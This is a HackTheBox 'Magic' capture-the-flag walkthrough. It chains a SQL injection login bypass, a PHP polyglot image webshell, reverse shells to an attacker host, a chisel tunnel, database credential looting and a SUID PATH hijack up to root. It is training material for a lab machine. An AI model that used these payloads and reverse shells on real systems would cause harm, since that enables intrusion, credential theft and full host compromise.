Skip to content

Magic Writeup - HackTheBox

Medium Linux
Mohammad Meraj

Independent Security Researcher

Magic is a Linux box that chains a SQL injection auth bypass into a polyglot image upload for RCE, then reuses a database password to reach a real OS account, and finishes with a PATH hijack against a custom SUID binary. Set the working variables:

┌──(kali㉿kali)-[~]
└─$ TARGET_IP=<Magic address>

Reconnaissance

Port scan

RustScan for a fast look at open ports:

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Service and version detail on the two open ports:

┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p22,80 $TARGET_IP -oA nmap/nmap
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29
Service Info: Host: 127.0.1.1; OS: Linux

OpenSSH 7.6p1 and Apache 2.4.29. SSH has no obvious version bug, so the web app is the way in.

Web Enumeration

Directory brute force with ffuf. The first pass without a size filter was noisy because the wordlist comment lines reflected back as false 200s at size 4052, so I filtered them out:

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://$TARGET_IP/FUZZ \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt \
-e .php -mc 200 -fs 4052
login.php   [Status: 200, Size: 4221, Words: 1179, Lines: 118]
index.php   [Status: 200, Size: 4051, Words: 491, Lines: 60]

login.php is a login portal. That is the next target.

Initial Access

SQL injection auth bypass

Default creds failed on login.php. A classic boolean auth bypass in the username field worked:

' OR 1=1-- -

That logged straight in and dropped me into the app, which has an image upload feature.

Polyglot image upload to RCE

The upload validates on image content, so I built a polyglot: valid JPEG magic bytes followed by a PHP payload. Apache still executes it as PHP because of the .php.jpg double extension:

┌──(kali㉿kali)-[~]
└─$ printf '\xFF\xD8\xFF\xE0<?php echo "It is working!"; system($_REQUEST["cmd"]); ?>' > shell.php.jpg

Upload succeeded. Now I need to find where it landed.

Locating the shell

feroxbuster to map the upload path:

┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://$TARGET_IP/ \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt
301  GET  http://$TARGET_IP/images => /images/
301  GET  http://$TARGET_IP/images/uploads => /images/uploads/
200  GET  http://$TARGET_IP/images/uploads/logo.png
200  GET  http://$TARGET_IP/login.php
<snip static assets and stock gallery images under /images/fulls and /assets>

Uploads land in /images/uploads/. Confirm execution:

┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP/images/uploads/shell.php.jpg?cmd=whoami'
    It is working!www-data

Arbitrary command execution as www-data.

Reverse shell

Fire a Python one liner through the cmd parameter:

┌──(kali㉿kali)-[~]
└─$ http://$TARGET_IP/images/uploads/shell.php.jpg?cmd=export RHOST="$ATTACKER_IP";export RPORT=$ATTACKER_PORT;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

Catch it:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Shell as www-data. Time to hunt for credentials.

Lateral Movement

Database credentials on disk

The web root holds a config file with DB creds:

www-data@magic ~ $ cat db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = '$THESEUS_DB_PASSWORD';
<snip>

DB login is theseus with $THESEUS_DB_PASSWORD. No MySQL client on the box though:

www-data@magic ~ $ mysql -u theseus -p -D Magic
Command 'mysql' not found, but can be installed with:
apt install mysql-client-core-5.7

MySQL is bound to localhost. I will tunnel it back to my box.

Chisel tunnel to MySQL

Attacker side:

┌──(kali㉿kali)-[~]
└─$ chisel server -p 8000 --reverse

Target side:

www-data@magic ~ $ chmod +x chisel
www-data@magic ~ $ ./chisel client $ATTACKER_IP:8000 R:3306:127.0.0.1:3306
client: Connected (Latency 294ms)

The target's 127.0.0.1:3306 is now reachable locally at 127.0.0.1:3306.

Loot the login table

┌──(kali㉿kali)-[~]
└─$ mysql -h 127.0.0.1 -P 3306 -u theseus -p'$THESEUS_DB_PASSWORD'
MySQL [(none)]> use Magic
MySQL [Magic]> show tables;
+-----------------+
| Tables_in_Magic |
+-----------------+
| login           |
+-----------------+
MySQL [Magic]> select * from login;
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | admin    | $ADMIN_PASSWORD   |
+----+----------+-------------------+

The admin password $ADMIN_PASSWORD is worth testing for reuse. SSH rejects it because the account is key only:

┌──(kali㉿kali)-[~]
└─$ ssh theseus@$TARGET_IP
theseus@$TARGET_IP: Permission denied (publickey).

But su from the existing webshell does not care about SSH policy:

www-data@magic ~ $ su theseus
Password:
theseus@ubuntu:/tmp$

Shell as theseus, user access reached. Now for root.

Privilege Escalation

SUID enumeration

theseus@magic ~ $ find / -type f -perm -4000 -exec ls -l {} \; 2>/dev/null
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo
<snip standard distro and snap-core SUID binaries: passwd, newgrp, sudo, pkexec, su,
mount, umount, ping, chfn, chsh, gpasswd, ssh-keysign, none of them abnormal>

/bin/sysinfo is non standard, owned root:users and part of no stock package. That is the lead.

Analyzing sysinfo

theseus@magic ~ $ strings /bin/sysinfo
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h

It shells out to free, fdisk, lshw by bare name, no absolute paths. Running SUID root, that is a PATH hijack.

PATH hijack to root

Plant a malicious free in /tmp, prepend /tmp to $PATH, and run the binary:

theseus@magic ~ $ printf '#!/bin/bash\n/bin/bash -p\n' > /tmp/free
theseus@magic ~ $ chmod +x /tmp/free
theseus@magic ~ $ export PATH=/tmp:$PATH
theseus@magic ~ $ /bin/sysinfo
...
====================MEM Usage=====================
root@ubuntu:/tmp#

sysinfo resolved free from /tmp and ran /bin/bash -p as root.

Stable root session

The SUID shell printed output roughly, so I kicked back a clean reverse shell:

root@magic ~ # sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect from $TARGET_IP
# whoami
root

Root reached.